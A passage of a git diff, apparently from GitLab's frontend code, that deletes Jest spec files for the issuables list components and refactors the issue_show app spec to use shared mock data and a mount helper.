- `${issuesPath}?label_name[]=${encodeURIComponent(label.title)}`,
- );
- });
- });
- });
-
- describe('alert message', () => {
- it('is hidden when dismissed', () => {
- wrapper = mountComponent({
- shouldShowInProgressAlert: true,
- });
-
- expect(wrapper.contains(GlAlert)).toBe(true);
-
- findAlert().vm.$emit('dismiss');
-
- return Vue.nextTick(() => {
- expect(wrapper.contains(GlAlert)).toBe(false);
- });
- });
- });
-});
diff --git a/spec/frontend/issuables_list/components/issuable_spec.js b/spec/frontend/issuables_list/components/issuable_spec.js
deleted file mode 100644
index 6ede46a602a..00000000000
--- a/spec/frontend/issuables_list/components/issuable_spec.js
+++ /dev/null
@@ -1,493 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlSprintf, GlLabel, GlIcon } from '@gitlab/ui';
-import { TEST_HOST } from 'helpers/test_constants';
-import { trimText } from 'helpers/text_helper';
-import initUserPopovers from '~/user_popovers';
-import { formatDate } from '~/lib/utils/datetime_utility';
-import { mergeUrlParams } from '~/lib/utils/url_utility';
-import Issuable from '~/issuables_list/components/issuable.vue';
-import IssueAssignees from '~/vue_shared/components/issue/issue_assignees.vue';
-import { simpleIssue, testAssignees, testLabels } from '../issuable_list_test_data';
-import { isScopedLabel } from '~/lib/utils/common_utils';
-
-jest.mock('~/user_popovers');
-
-const TEST_NOW = '2019-08-28T20:03:04.713Z';
-const TEST_MONTH_AGO = '2019-07-28';
-const TEST_MONTH_LATER = '2019-09-30';
-const DATE_FORMAT = 'mmm d, yyyy';
-const TEST_USER_NAME = 'Tyler Durden';
-const TEST_BASE_URL = `${TEST_HOST}/issues`;
-const TEST_TASK_STATUS = '50 of 100 tasks completed';
-const TEST_MILESTONE = {
- title: 'Milestone title',
- web_url: `${TEST_HOST}/milestone/1`,
-};
-const TEXT_CLOSED = 'CLOSED';
-const TEST_META_COUNT = 100;
-
-// Use FixedDate so that time sensitive info in snapshots don't fail
-class FixedDate extends Date {
- constructor(date = TEST_NOW) {
- super(date);
- }
-}
-
-describe('Issuable component', () => {
- let issuable;
- let DateOrig;
- let wrapper;
-
- const factory = (props = {}, scopedLabels = false) => {
- wrapper = shallowMount(Issuable, {
- propsData: {
- issuable: simpleIssue,
- baseUrl: TEST_BASE_URL,
- ...props,
- },
- provide: {
- glFeatures: {
- scopedLabels,
- },
- },
- stubs: {
- 'gl-sprintf': GlSprintf,
- 'gl-link': '<a><slot></slot></a>',
- },
- });
- };
-
- beforeEach(() => {
- issuable = { ...simpleIssue };
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- beforeAll(() => {
- DateOrig = window.Date;
- window.Date = FixedDate;
- });
-
- afterAll(() => {
- window.Date = DateOrig;
- });
-
- const checkExists = findFn => () => findFn().exists();
- const hasIcon = (iconName, iconWrapper = wrapper) =>
- iconWrapper.findAll(GlIcon).wrappers.some(icon => icon.props('name') === iconName);
- const hasConfidentialIcon = () => hasIcon('eye-slash');
- const findTaskStatus = () => wrapper.find('.task-status');
- const findOpenedAgoContainer = () => wrapper.find('[data-testid="openedByMessage"]');
- const findAuthor = () => wrapper.find({ ref: 'openedAgoByContainer' });
- const findMilestone = () => wrapper.find('.js-milestone');
- const findMilestoneTooltip = () => findMilestone().attributes('title');
- const findDueDate = () => wrapper.find('.js-due-date');
- const findLabels = () => wrapper.findAll(GlLabel);
- const findWeight = () => wrapper.find('[data-testid="weight"]');
- const findAssignees = () => wrapper.find(IssueAssignees);
- const findBlockingIssuesCount = () => wrapper.find('[data-testid="blocking-issues"]');
- const findMergeRequestsCount = () => wrapper.find('[data-testid="merge-requests"]');
- const findUpvotes = () => wrapper.find('[data-testid="upvotes"]');
- const findDownvotes = () => wrapper.find('[data-testid="downvotes"]');
- const findNotes = () => wrapper.find('[data-testid="notes-count"]');
- const findBulkCheckbox = () => wrapper.find('input.selected-issuable');
- const findScopedLabels = () => findLabels().filter(w => isScopedLabel({ title: w.text() }));
- const findUnscopedLabels = () => findLabels().filter(w => !isScopedLabel({ title: w.text() }));
- const findIssuableTitle = () => wrapper.find('[data-testid="issuable-title"]');
- const findIssuableStatus = () => wrapper.find('[data-testid="issuable-status"]');
- const containsJiraLogo = () => wrapper.contains('[data-testid="jira-logo"]');
- const findHealthStatus = () => wrapper.find('.health-status');
-
- describe('when mounted', () => {
- it('initializes user popovers', () => {
- expect(initUserPopovers).not.toHaveBeenCalled();
-
- factory();
-
- expect(initUserPopovers).toHaveBeenCalledWith([wrapper.vm.$refs.openedAgoByContainer.$el]);
- });
- });
-
- describe('when scopedLabels feature is available', () => {
- beforeEach(() => {
- issuable.labels = [...testLabels];
-
- factory({ issuable }, true);
- });
-
- describe('when label is scoped', () => {
- it('returns label with correct props', () => {
- const scopedLabel = findScopedLabels().at(0);
-
- expect(scopedLabel.props('scoped')).toBe(true);
- });
- });
-
- describe('when label is not scoped', () => {
- it('returns label with correct props', () => {
- const notScopedLabel = findUnscopedLabels().at(0);
-
- expect(notScopedLabel.props('scoped')).toBe(false);
- });
- });
- });
-
- describe('when scopedLabels feature is not available', () => {
- beforeEach(() => {
- issuable.labels = [...testLabels];
-
- factory({ issuable });
- });
-
- describe('when label is scoped', () => {
- it('label scoped props is false', () => {
- const scopedLabel = findScopedLabels().at(0);
-
- expect(scopedLabel.props('scoped')).toBe(false);
- });
- });
-
- describe('when label is not scoped', () => {
- it('label scoped props is false', () => {
- const notScopedLabel = findUnscopedLabels().at(0);
-
- expect(notScopedLabel.props('scoped')).toBe(false);
- });
- });
- });
-
- describe('with simple issuable', () => {
- beforeEach(() => {
- Object.assign(issuable, {
- has_tasks: false,
- task_status: TEST_TASK_STATUS,
- created_at: TEST_MONTH_AGO,
- author: {
- ...issuable.author,
- name: TEST_USER_NAME,
- },
- labels: [],
- });
-
- factory({ issuable });
- });
-
- it.each`
- desc | check
- ${'bulk editing checkbox'} | ${checkExists(findBulkCheckbox)}
- ${'confidential icon'} | ${hasConfidentialIcon}
- ${'task status'} | ${checkExists(findTaskStatus)}
- ${'milestone'} | ${checkExists(findMilestone)}
- ${'due date'} | ${checkExists(findDueDate)}
- ${'labels'} | ${checkExists(findLabels)}
- ${'weight'} | ${checkExists(findWeight)}
- ${'blocking issues count'} | ${checkExists(findBlockingIssuesCount)}
- ${'merge request count'} | ${checkExists(findMergeRequestsCount)}
- ${'upvotes'} | ${checkExists(findUpvotes)}
- ${'downvotes'} | ${checkExists(findDownvotes)}
- `('does not render $desc', ({ check }) => {
- expect(check()).toBe(false);
- });
-
- it('show relative reference path', () => {
- expect(wrapper.find('.js-ref-path').text()).toBe(issuable.references.relative);
- });
-
- it('does not have closed text', () => {
- expect(wrapper.text()).not.toContain(TEXT_CLOSED);
- });
-
- it('does not have closed class', () => {
- expect(wrapper.classes('closed')).toBe(false);
- });
-
- it('renders fuzzy opened date and author', () => {
- expect(trimText(findOpenedAgoContainer().text())).toContain(
- `opened 1 month ago by ${TEST_USER_NAME}`,
- );
- });
-
- it('renders no comments', () => {
- expect(findNotes().classes('no-comments')).toBe(true);
- });
- });
-
- describe('with confidential issuable', () => {
- beforeEach(() => {
- issuable.confidential = true;
-
- factory({ issuable });
- });
-
- it('renders the confidential icon', () => {
- expect(hasConfidentialIcon()).toBe(true);
- });
- });
-
- describe('with Jira issuable', () => {
- beforeEach(() => {
- issuable.external_tracker = 'jira';
-
- factory({ issuable });
- });
-
- it('renders the Jira icon', () => {
- expect(containsJiraLogo()).toBe(true);
- });
-
- it('opens issuable in a new tab', () => {
- expect(findIssuableTitle().props('target')).toBe('_blank');
- });
-
- it('opens author in a new tab', () => {
- expect(findAuthor().props('target')).toBe('_blank');
- });
-
- describe('with Jira status', () => {
- const expectedStatus = 'In Progress';
-
- beforeEach(() => {
- issuable.status = expectedStatus;
-
- factory({ issuable });
- });
-
- it('renders the Jira status', () => {
- expect(findIssuableStatus().text()).toBe(expectedStatus);
- });
- });
- });
-
- describe('with task status', () => {
- beforeEach(() => {
- Object.assign(issuable, {
- has_tasks: true,
- task_status: TEST_TASK_STATUS,
- });
-
- factory({ issuable });
- });
-
- it('renders task status', () => {
- expect(findTaskStatus().exists()).toBe(true);
- expect(findTaskStatus().text()).toBe(TEST_TASK_STATUS);
- });
- });
-
- describe.each`
- desc | dueDate | expectedTooltipPart
- ${'past due'} | ${TEST_MONTH_AGO} | ${'Past due'}
- ${'future due'} | ${TEST_MONTH_LATER} | ${'1 month remaining'}
- `('with milestone with $desc', ({ dueDate, expectedTooltipPart }) => {
- beforeEach(() => {
- issuable.milestone = { ...TEST_MILESTONE, due_date: dueDate };
-
- factory({ issuable });
- });
-
- it('renders milestone', () => {
- expect(findMilestone().exists()).toBe(true);
- expect(hasIcon('clock', findMilestone())).toBe(true);
- expect(findMilestone().text()).toEqual(TEST_MILESTONE.title);
- });
-
- it('renders tooltip', () => {
- expect(findMilestoneTooltip()).toBe(
- `${formatDate(dueDate, DATE_FORMAT)} (${expectedTooltipPart})`,
- );
- });
-
- it('renders milestone with the correct href', () => {
- const { title } = issuable.milestone;
- const expected = mergeUrlParams({ milestone_title: title }, TEST_BASE_URL);
-
- expect(findMilestone().attributes('href')).toBe(expected);
- });
- });
-
- describe.each`
- dueDate | hasClass | desc
- ${TEST_MONTH_LATER} | ${false} | ${'with future due date'}
- ${TEST_MONTH_AGO} | ${true} | ${'with past due date'}
- `('$desc', ({ dueDate, hasClass }) => {
- beforeEach(() => {
- issuable.due_date = dueDate;
-
- factory({ issuable });
- });
-
- it('renders due date', () => {
- expect(findDueDate().exists()).toBe(true);
- expect(findDueDate().text()).toBe(formatDate(dueDate, DATE_FORMAT));
- });
-
- it(hasClass ? 'has cred class' : 'does not have cred class', () => {
- expect(findDueDate().classes('cred')).toEqual(hasClass);
- });
- });
-
- describe('with labels', () => {
- beforeEach(() => {
- issuable.labels = [...testLabels];
-
- factory({ issuable });
- });
-
- it('renders labels', () => {
- factory({ issuable });
-
- const labels = findLabels().wrappers.map(label => ({
- href: label.props('target'),
- text: label.text(),
- tooltip: label.attributes('description'),
- }));
-
- const expected = testLabels.map(label => ({
- href: mergeUrlParams({ 'label_name[]': label.name }, TEST_BASE_URL),
- text: label.name,
- tooltip: label.description,
- }));
-
- expect(labels).toEqual(expected);
- });
- });
-
- describe('with labels for Jira issuable', () => {
- beforeEach(() => {
- issuable.labels = [...testLabels];
- issuable.external_tracker = 'jira';
-
- factory({ issuable });
- });
-
- it('renders labels', () => {
- factory({ issuable });
-
- const labels = findLabels().wrappers.map(label => ({
- href: label.props('target'),
- text: label.text(),
- tooltip: label.attributes('description'),
- }));
-
- const expected = testLabels.map(label => ({
- href: mergeUrlParams({ 'labels[]': label.name }, TEST_BASE_URL),
- text: label.name,
- tooltip: label.description,
- }));
-
- expect(labels).toEqual(expected);
- });
- });
-
- describe.each`
- weight
- ${0}
- ${10}
- ${12345}
- `('with weight $weight', ({ weight }) => {
- beforeEach(() => {
- issuable.weight = weight;
-
- factory({ issuable });
- });
-
- it('renders weight', () => {
- expect(findWeight().exists()).toBe(true);
- expect(findWeight().text()).toEqual(weight.toString());
- });
- });
-
- describe('with closed state', () => {
- beforeEach(() => {
- issuable.state = 'closed';
-
- factory({ issuable });
- });
-
- it('renders closed text', () => {
- expect(wrapper.text()).toContain(TEXT_CLOSED);
- });
-
- it('has closed class', () => {
- expect(wrapper.classes('closed')).toBe(true);
- });
- });
-
- describe('with assignees', () => {
- beforeEach(() => {
- issuable.assignees = testAssignees;
-
- factory({ issuable });
- });
-
- it('renders assignees', () => {
- expect(findAssignees().exists()).toBe(true);
- expect(findAssignees().props('assignees')).toEqual(testAssignees);
- });
- });
-
- describe.each`
- desc | key | finder
- ${'with blocking issues count'} | ${'blocking_issues_count'} | ${findBlockingIssuesCount}
- ${'with merge requests count'} | ${'merge_requests_count'} | ${findMergeRequestsCount}
- ${'with upvote count'} | ${'upvotes'} | ${findUpvotes}
- ${'with downvote count'} | ${'downvotes'} | ${findDownvotes}
- ${'with notes count'} | ${'user_notes_count'} | ${findNotes}
- `('$desc', ({ key, finder }) => {
- beforeEach(() => {
- issuable[key] = TEST_META_COUNT;
-
- factory({ issuable });
- });
-
- it('renders correct count', () => {
- expect(finder().exists()).toBe(true);
- expect(finder().text()).toBe(TEST_META_COUNT.toString());
- expect(finder().classes('no-comments')).toBe(false);
- });
- });
-
- describe('with bulk editing', () => {
- describe.each`
- selected | desc
- ${true} | ${'when selected'}
- ${false} | ${'when unselected'}
- `('$desc', ({ selected }) => {
- beforeEach(() => {
- factory({ isBulkEditing: true, selected });
- });
-
- it(`renders checked is ${selected}`, () => {
- expect(findBulkCheckbox().element.checked).toBe(selected);
- });
-
- it('emits select when clicked', () => {
- expect(wrapper.emitted().select).toBeUndefined();
-
- findBulkCheckbox().trigger('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted().select).toEqual([[{ issuable, selected: !selected }]]);
- });
- });
- });
- });
-
- if (IS_EE) {
- describe('with health status', () => {
- it('renders health status tag', () => {
- factory({ issuable });
- expect(findHealthStatus().exists()).toBe(true);
- });
-
- it('does not render when health status is absent', () => {
- issuable.health_status = null;
- factory({ issuable });
- expect(findHealthStatus().exists()).toBe(false);
- });
- });
- }
-});
diff --git a/spec/frontend/issuables_list/components/issuables_list_app_spec.js b/spec/frontend/issuables_list/components/issuables_list_app_spec.js
deleted file mode 100644
index 65b87ddf6a6..00000000000
--- a/spec/frontend/issuables_list/components/issuables_list_app_spec.js
+++ /dev/null
@@ -1,591 +0,0 @@
-import axios from 'axios';
-import MockAdapter from 'axios-mock-adapter';
-import { shallowMount } from '@vue/test-utils';
-import { GlEmptyState, GlPagination, GlSkeletonLoading } from '@gitlab/ui';
-import waitForPromises from 'helpers/wait_for_promises';
-import { TEST_HOST } from 'helpers/test_constants';
-import { deprecatedCreateFlash as flash } from '~/flash';
-import IssuablesListApp from '~/issuables_list/components/issuables_list_app.vue';
-import Issuable from '~/issuables_list/components/issuable.vue';
-import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
-import issueablesEventBus from '~/issuables_list/eventhub';
-import { PAGE_SIZE, PAGE_SIZE_MANUAL, RELATIVE_POSITION } from '~/issuables_list/constants';
-
-jest.mock('~/flash');
-jest.mock('~/issuables_list/eventhub');
-jest.mock('~/lib/utils/common_utils', () => ({
- ...jest.requireActual('~/lib/utils/common_utils'),
- scrollToElement: () => {},
-}));
-
-const TEST_LOCATION = `${TEST_HOST}/issues`;
-const TEST_ENDPOINT = '/issues';
-const TEST_CREATE_ISSUES_PATH = '/createIssue';
-const TEST_SVG_PATH = '/emptySvg';
-
-const setUrl = query => {
- window.location.href = `${TEST_LOCATION}${query}`;
- window.location.search = query;
-};
-
-const MOCK_ISSUES = Array(PAGE_SIZE_MANUAL)
- .fill(0)
- .map((_, i) => ({
- id: i,
- web_url: `url${i}`,
- }));
-
-describe('Issuables list component', () => {
- let oldLocation;
- let mockAxios;
- let wrapper;
- let apiSpy;
-
- const setupApiMock = cb => {
- apiSpy = jest.fn(cb);
-
- mockAxios.onGet(TEST_ENDPOINT).reply(cfg => apiSpy(cfg));
- };
-
- const factory = (props = { sortKey: 'priority' }) => {
- const emptyStateMeta = {
- createIssuePath: TEST_CREATE_ISSUES_PATH,
- svgPath: TEST_SVG_PATH,
- };
-
- wrapper = shallowMount(IssuablesListApp, {
- propsData: {
- endpoint: TEST_ENDPOINT,
- emptyStateMeta,
- ...props,
- },
- });
- };
-
- const findLoading = () => wrapper.find(GlSkeletonLoading);
- const findIssuables = () => wrapper.findAll(Issuable);
- const findFilteredSearchBar = () => wrapper.find(FilteredSearchBar);
- const findFirstIssuable = () => findIssuables().wrappers[0];
- const findEmptyState = () => wrapper.find(GlEmptyState);
-
- beforeEach(() => {
- mockAxios = new MockAdapter(axios);
-
- oldLocation = window.location;
- Object.defineProperty(window, 'location', {
- writable: true,
- value: { href: '', search: '' },
- });
- window.location.href = TEST_LOCATION;
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- mockAxios.restore();
- window.location = oldLocation;
- });
-
- describe('with failed issues response', () => {
- beforeEach(() => {
- setupApiMock(() => [500]);
-
- factory();
-
- return waitForPromises();
- });
-
- it('does not show loading', () => {
- expect(wrapper.vm.loading).toBe(false);
- });
-
- it('flashes an error', () => {
- expect(flash).toHaveBeenCalledTimes(1);
- });
- });
-
- describe('with successful issues response', () => {
- beforeEach(() => {
- setupApiMock(() => [
- 200,
- MOCK_ISSUES.slice(0, PAGE_SIZE),
- {
- 'x-total': 100,
- 'x-page': 2,
- },
- ]);
- });
-
- it('has default props and data', () => {
- factory();
- expect(wrapper.vm).toMatchObject({
- // Props
- canBulkEdit: false,
- emptyStateMeta: {
- createIssuePath: TEST_CREATE_ISSUES_PATH,
- svgPath: TEST_SVG_PATH,
- },
- // Data
- filters: {
- state: 'opened',
- },
- isBulkEditing: false,
- issuables: [],
- loading: true,
- page: 1,
- selection: {},
- totalItems: 0,
- });
- });
-
- it('does not call API until mounted', () => {
- factory();
- expect(apiSpy).not.toHaveBeenCalled();
- });
-
- describe('when mounted', () => {
- beforeEach(() => {
- factory();
- });
-
- it('calls API', () => {
- expect(apiSpy).toHaveBeenCalled();
- });
-
- it('shows loading', () => {
- expect(findLoading().exists()).toBe(true);
- expect(findIssuables().length).toBe(0);
- expect(findEmptyState().exists()).toBe(false);
- });
- });
-
- describe('when finished loading', () => {
- beforeEach(() => {
- factory();
-
- return waitForPromises();
- });
-
- it('does not display empty state', () => {
- expect(wrapper.vm.issuables.length).toBeGreaterThan(0);
- expect(wrapper.vm.emptyState).toEqual({});
- expect(wrapper.contains(GlEmptyState)).toBe(false);
- });
-
- it('sets the proper page and total items', () => {
- expect(wrapper.vm.totalItems).toBe(100);
- expect(wrapper.vm.page).toBe(2);
- });
-
- it('renders one page of issuables and pagination', () => {
- expect(findIssuables().length).toBe(PAGE_SIZE);
- expect(wrapper.find(GlPagination).exists()).toBe(true);
- });
- });
-
- it('does not render FilteredSearchBar', () => {
- factory();
-
- expect(findFilteredSearchBar().exists()).toBe(false);
- });
- });
-
- describe('with bulk editing enabled', () => {
- beforeEach(() => {
- issueablesEventBus.$on.mockReset();
- issueablesEventBus.$emit.mockReset();
-
- setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
- factory({ canBulkEdit: true });
-
- return waitForPromises();
- });
-
- it('is not enabled by default', () => {
- expect(wrapper.vm.isBulkEditing).toBe(false);
- });
-
- it('does not select issues by default', () => {
- expect(wrapper.vm.selection).toEqual({});
- });
-
- it('"Select All" checkbox toggles all visible issuables"', () => {
- wrapper.vm.onSelectAll();
- expect(wrapper.vm.selection).toEqual(
- wrapper.vm.issuables.reduce((acc, i) => ({ ...acc, [i.id]: true }), {}),
- );
-
- wrapper.vm.onSelectAll();
- expect(wrapper.vm.selection).toEqual({});
- });
-
- it('"Select All checkbox" selects all issuables if only some are selected"', () => {
- wrapper.vm.selection = { [wrapper.vm.issuables[0].id]: true };
- wrapper.vm.onSelectAll();
- expect(wrapper.vm.selection).toEqual(
- wrapper.vm.issuables.reduce((acc, i) => ({ ...acc, [i.id]: true }), {}),
- );
- });
-
- it('selects and deselects issuables', () => {
- const [i0, i1, i2] = wrapper.vm.issuables;
-
- expect(wrapper.vm.selection).toEqual({});
- wrapper.vm.onSelectIssuable({ issuable: i0, selected: false });
- expect(wrapper.vm.selection).toEqual({});
- wrapper.vm.onSelectIssuable({ issuable: i1, selected: true });
- expect(wrapper.vm.selection).toEqual({ '1': true });
- wrapper.vm.onSelectIssuable({ issuable: i0, selected: true });
- expect(wrapper.vm.selection).toEqual({ '1': true, '0': true });
- wrapper.vm.onSelectIssuable({ issuable: i2, selected: true });
- expect(wrapper.vm.selection).toEqual({ '1': true, '0': true, '2': true });
- wrapper.vm.onSelectIssuable({ issuable: i2, selected: true });
- expect(wrapper.vm.selection).toEqual({ '1': true, '0': true, '2': true });
- wrapper.vm.onSelectIssuable({ issuable: i0, selected: false });
- expect(wrapper.vm.selection).toEqual({ '1': true, '2': true });
- });
-
- it('broadcasts a message to the bulk edit sidebar when a value is added to selection', () => {
- issueablesEventBus.$emit.mockReset();
- const i1 = wrapper.vm.issuables[1];
-
- wrapper.vm.onSelectIssuable({ issuable: i1, selected: true });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(issueablesEventBus.$emit).toHaveBeenCalledTimes(1);
- expect(issueablesEventBus.$emit).toHaveBeenCalledWith('issuables:updateBulkEdit');
- });
- });
-
- it('does not broadcast a message to the bulk edit sidebar when a value is not added to selection', () => {
- issueablesEventBus.$emit.mockReset();
-
- return wrapper.vm
- .$nextTick()
- .then(waitForPromises)
- .then(() => {
- const i1 = wrapper.vm.issuables[1];
-
- wrapper.vm.onSelectIssuable({ issuable: i1, selected: false });
- })
- .then(wrapper.vm.$nextTick)
- .then(() => {
- expect(issueablesEventBus.$emit).toHaveBeenCalledTimes(0);
- });
- });
-
- it('listens to a message to toggle bulk editing', () => {
- expect(wrapper.vm.isBulkEditing).toBe(false);
- expect(issueablesEventBus.$on.mock.calls[0][0]).toBe('issuables:toggleBulkEdit');
- issueablesEventBus.$on.mock.calls[0][1](true); // Call the message handler
-
- return waitForPromises()
- .then(() => {
- expect(wrapper.vm.isBulkEditing).toBe(true);
- issueablesEventBus.$on.mock.calls[0][1](false);
- })
- .then(() => {
- expect(wrapper.vm.isBulkEditing).toBe(false);
- });
- });
- });
-
- describe('with query params in window.location', () => {
- const expectedFilters = {
- assignee_username: 'root',
- author_username: 'root',
- confidential: 'yes',
- my_reaction_emoji: 'airplane',
- scope: 'all',
- state: 'opened',
- utf8: '✓',
- weight: '0',
- milestone: 'v3.0',
- labels: 'Aquapod,Astro',
- order_by: 'milestone_due',
- sort: 'desc',
- };
-
- describe('when page is not present in params', () => {
- const query =
- '?assignee_username=root&author_username=root&confidential=yes&label_name%5B%5D=Aquapod&label_name%5B%5D=Astro&milestone_title=v3.0&my_reaction_emoji=airplane&scope=all&sort=priority&state=opened&utf8=%E2%9C%93&weight=0&not[label_name][]=Afterpod&not[milestone_title][]=13';
-
- beforeEach(() => {
- setUrl(query);
-
- setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
- factory({ sortKey: 'milestone_due_desc' });
-
- return waitForPromises();
- });
-
- afterEach(() => {
- apiSpy.mockClear();
- });
-
- it('applies filters and sorts', () => {
- expect(wrapper.vm.hasFilters).toBe(true);
- expect(wrapper.vm.filters).toEqual({
- ...expectedFilters,
- 'not[milestone]': ['13'],
- 'not[labels]': ['Afterpod'],
- });
-
- expect(apiSpy).toHaveBeenCalledWith(
- expect.objectContaining({
- params: {
- ...expectedFilters,
- with_labels_details: true,
- page: 1,
- per_page: PAGE_SIZE,
- 'not[milestone]': ['13'],
- 'not[labels]': ['Afterpod'],
- },
- }),
- );
- });
-
- it('passes the base url to issuable', () => {
- expect(findFirstIssuable().props('baseUrl')).toBe(TEST_LOCATION);
- });
- });
-
- describe('when page is present in the param', () => {
- const query =
- '?assignee_username=root&author_username=root&confidential=yes&label_name%5B%5D=Aquapod&label_name%5B%5D=Astro&milestone_title=v3.0&my_reaction_emoji=airplane&scope=all&sort=priority&state=opened&utf8=%E2%9C%93&weight=0&page=3';
-
- beforeEach(() => {
- setUrl(query);
-
- setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
- factory({ sortKey: 'milestone_due_desc' });
-
- return waitForPromises();
- });
-
- afterEach(() => {
- apiSpy.mockClear();
- });
-
- it('applies filters and sorts', () => {
- expect(apiSpy).toHaveBeenCalledWith(
- expect.objectContaining({
- params: {
- ...expectedFilters,
- with_labels_details: true,
- page: 3,
- per_page: PAGE_SIZE,
- },
- }),
- );
- });
- });
- });
-
- describe('with hash in window.location', () => {
- beforeEach(() => {
- window.location.href = `${TEST_LOCATION}#stuff`;
- setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
- factory();
- return waitForPromises();
- });
-
- it('passes the base url to issuable', () => {
- expect(findFirstIssuable().props('baseUrl')).toBe(TEST_LOCATION);
- });
- });
-
- describe('with manual sort', () => {
- beforeEach(() => {
- setupApiMock(() => [200, MOCK_ISSUES.slice(0)]);
- factory({ sortKey: RELATIVE_POSITION });
- });
-
- it('uses manual page size', () => {
- expect(apiSpy).toHaveBeenCalledWith(
- expect.objectContaining({
- params: expect.objectContaining({
- per_page: PAGE_SIZE_MANUAL,
- }),
- }),
- );
- });
- });
-
- describe('with empty issues response', () => {
- beforeEach(() => {
- setupApiMock(() => [200, []]);
- });
-
- describe('with query in window location', () => {
- beforeEach(() => {
- window.location.search = '?weight=Any';
-
- factory();
-
- return waitForPromises().then(() => wrapper.vm.$nextTick());
- });
-
- it('should display "Sorry, your filter produced no results" if filters are too specific', () => {
- expect(findEmptyState().props('title')).toMatchSnapshot();
- });
- });
-
- describe('with closed state', () => {
- beforeEach(() => {
- window.location.search = '?state=closed';
-
- factory();
-
- return waitForPromises().then(() => wrapper.vm.$nextTick());
- });
-
- it('should display a message "There are no closed issues" if there are no closed issues', () => {
- expect(findEmptyState().props('title')).toMatchSnapshot();
- });
- });
-
- describe('with all state', () => {
- beforeEach(() => {
- window.location.search = '?state=all';
-
- factory();
-
- return waitForPromises().then(() => wrapper.vm.$nextTick());
- });
-
- it('should display a catch-all if there are no issues to show', () => {
- expect(findEmptyState().element).toMatchSnapshot();
- });
- });
-
- describe('with empty query', () => {
- beforeEach(() => {
- factory();
-
- return wrapper.vm.$nextTick().then(waitForPromises);
- });
-
- it('should display the message "There are no open issues"', () => {
- expect(findEmptyState().props('title')).toMatchSnapshot();
- });
- });
- });
-
- describe('when paginates', () => {
- const newPage = 3;
-
- describe('when total-items is defined in response headers', () => {
- beforeEach(() => {
- window.history.pushState = jest.fn();
- setupApiMock(() => [
- 200,
- MOCK_ISSUES.slice(0, PAGE_SIZE),
- {
- 'x-total': 100,
- 'x-page': 2,
- },
- ]);
-
- factory();
-
- return waitForPromises();
- });
-
- afterEach(() => {
- // reset to original value
- window.history.pushState.mockRestore();
- });
-
- it('calls window.history.pushState one time', () => {
- // Trigger pagination
- wrapper.find(GlPagination).vm.$emit('input', newPage);
-
- expect(window.history.pushState).toHaveBeenCalledTimes(1);
- });
-
- it('sets params in the url', () => {
- // Trigger pagination
- wrapper.find(GlPagination).vm.$emit('input', newPage);
-
- expect(window.history.pushState).toHaveBeenCalledWith(
- {},
- '',
- `${TEST_LOCATION}?state=opened&order_by=priority&sort=asc&page=${newPage}`,
- );
- });
- });
-
- describe('when total-items is not defined in the headers', () => {
- const page = 2;
- const prevPage = page - 1;
- const nextPage = page + 1;
-
- beforeEach(() => {
- setupApiMock(() => [
- 200,
- MOCK_ISSUES.slice(0, PAGE_SIZE),
- {
- 'x-page': page,
- },
- ]);
-
- factory();
-
- return waitForPromises();
- });
-
- it('finds the correct props applied to GlPagination', () => {
- expect(wrapper.find(GlPagination).props()).toMatchObject({
- nextPage,
- prevPage,
- value: page,
- });
- });
- });
- });
-
- describe('when type is "jira"', () => {
- it('renders FilteredSearchBar', () => {
- factory({ type: 'jira' });
-
- expect(findFilteredSearchBar().exists()).toBe(true);
- });
-
- describe('initialSortBy', () => {
- const query = '?sort=updated_asc';
-
- it('sets default value', () => {
- factory({ type: 'jira' });
-
- expect(findFilteredSearchBar().props('initialSortBy')).toBe('created_desc');
- });
-
- it('sets value according to query', () => {
- setUrl(query);
-
- factory({ type: 'jira' });
-
- expect(findFilteredSearchBar().props('initialSortBy')).toBe('updated_asc');
- });
- });
-
- describe('initialFilterValue', () => {
- it('does not set value when no query', () => {
- factory({ type: 'jira' });
-
- expect(findFilteredSearchBar().props('initialFilterValue')).toEqual([]);
- });
-
- it('sets value according to query', () => {
- const query = '?search=free+text';
-
- setUrl(query);
-
- factory({ type: 'jira' });
-
- expect(findFilteredSearchBar().props('initialFilterValue')).toEqual(['free text']);
- });
- });
- });
-});
diff --git a/spec/frontend/issue_show/components/app_spec.js b/spec/frontend/issue_show/components/app_spec.js
index f76f42cb9ae..f4095d4de96 100644
--- a/spec/frontend/issue_show/components/app_spec.js
+++ b/spec/frontend/issue_show/components/app_spec.js
@@ -1,14 +1,22 @@
import { GlIntersectionObserver } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
-import { TEST_HOST } from 'helpers/test_constants';
import { useMockIntersectionObserver } from 'helpers/mock_dom_observer';
import axios from '~/lib/utils/axios_utils';
import { visitUrl } from '~/lib/utils/url_utility';
import '~/behaviors/markdown/render_gfm';
import IssuableApp from '~/issue_show/components/app.vue';
import eventHub from '~/issue_show/event_hub';
-import { initialRequest, secondRequest } from '../mock_data';
+import {
+ appProps,
+ initialRequest,
+ publishedIncidentUrl,
+ secondRequest,
+ zoomMeetingUrl,
+} from '../mock_data';
+import IncidentTabs from '~/issue_show/components/incidents/incident_tabs.vue';
+import DescriptionComponent from '~/issue_show/components/description.vue';
+import PinnedLinks from '~/issue_show/components/pinned_links.vue';
function formatText(text) {
return text.trim().replace(/\s\s+/g, ' ');
@@ -19,9 +27,6 @@ jest.mock('~/issue_show/event_hub');
const REALTIME_REQUEST_STACK = [initialRequest, secondRequest];
-const zoomMeetingUrl = 'https://gitlab.zoom.us/j/95919234811';
-const publishedIncidentUrl = 'https://status.com/';
-
describe('Issuable output', () => {
useMockIntersectionObserver();
@@ -31,6 +36,21 @@ describe('Issuable output', () => {
const findStickyHeader = () => wrapper.find('[data-testid="issue-sticky-header"]');
+ const mountComponent = (props = {}, options = {}) => {
+ wrapper = mount(IssuableApp, {
+ propsData: { ...appProps, ...props },
+ provide: {
+ fullPath: 'gitlab-org/incidents',
+ iid: '19',
+ },
+ stubs: {
+ HighlightBar: true,
+ IncidentTabs: true,
+ },
+ ...options,
